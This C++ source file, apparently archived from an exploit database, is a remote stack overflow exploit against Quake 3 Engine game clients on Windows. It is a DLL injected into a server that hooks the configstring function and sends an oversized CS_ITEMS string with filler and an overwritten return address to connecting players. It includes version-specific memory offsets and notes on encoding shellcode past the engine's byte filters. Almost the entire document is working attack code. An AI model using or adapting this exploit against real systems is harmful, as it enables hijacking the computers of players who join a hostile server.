93 lines
No EOL
2.2 KiB
C++
93 lines
No EOL
2.2 KiB
C++
/*
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Quake 3 Engine Client CS_ITEMS Remote Stack Overflow Exploit (Win32)
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Written by RunningBon
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E-Mail: runningbon@gmail.com
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IRC: irc.rizon.net #kik
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This is a DLL, which gets injected into the server exe.
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You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)
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I recommend you compile this with Microsoft Visual C++
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Use this responsibly. You are responsible for any damage you cause using this.
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Info:
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The engine strips bytes >127, '%', and '\0' before it overflows, so you will need encoded shellcode and an EIP which doesn't contain any of these characters.
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*/
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#include <stdio.h>
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#include <windows.h>
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#include <detours.h>
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struct VersionStruct {
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char *pVersionString;
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DWORD dwVersionStringAddr;
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DWORD dwSetConfigstringAddr;
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DWORD dwFillSize;
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DWORD dwNewEIP;
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int iCS_ITEM;
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};
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VersionStruct Versions[] = {
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{ "Quake 3: Arena", 0x4C1B94, 0x431E70, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32c
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{ "Quake 3: Arena", 0x4D2184, 0x438610, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32b
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};
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VersionStruct *pVersion = NULL;
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void (*orig_SV_SetConfigstring)(int iIndex, const char *pVal);
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void SV_SetConfigstring_Hook(int iIndex, const char *pVal)
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{
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char szString[4096];
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char *pPtr = NULL;
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if(pVersion != NULL)
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{
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if(iIndex == pVersion->iCS_ITEM)
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{
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memset(szString, 0, sizeof(szString));
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pPtr = &szString[0];
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memset(pPtr, 'a', pVersion->dwFillSize);
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pPtr += pVersion->dwFillSize;
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memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
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pPtr += sizeof(DWORD);
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orig_SV_SetConfigstring(iIndex, szString);
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return;
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}
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}
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orig_SV_SetConfigstring(iIndex, pVal);
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}
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bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
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{
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if(dwReason == DLL_PROCESS_ATTACH)
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{
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for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
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{
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if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
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{
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pVersion = &Versions[i];
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break;
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}
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}
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if(pVersion == NULL)
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{
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//Could not find correct version
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return 1;
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}
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DetourFunction((BYTE*)pVersion->dwSetConfigstringAddr, (BYTE*)SV_SetConfigstring_Hook);
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_asm mov [orig_SV_SetConfigstring], eax
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}
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return 1;
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}
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// milw0rm.com [2006-07-02]
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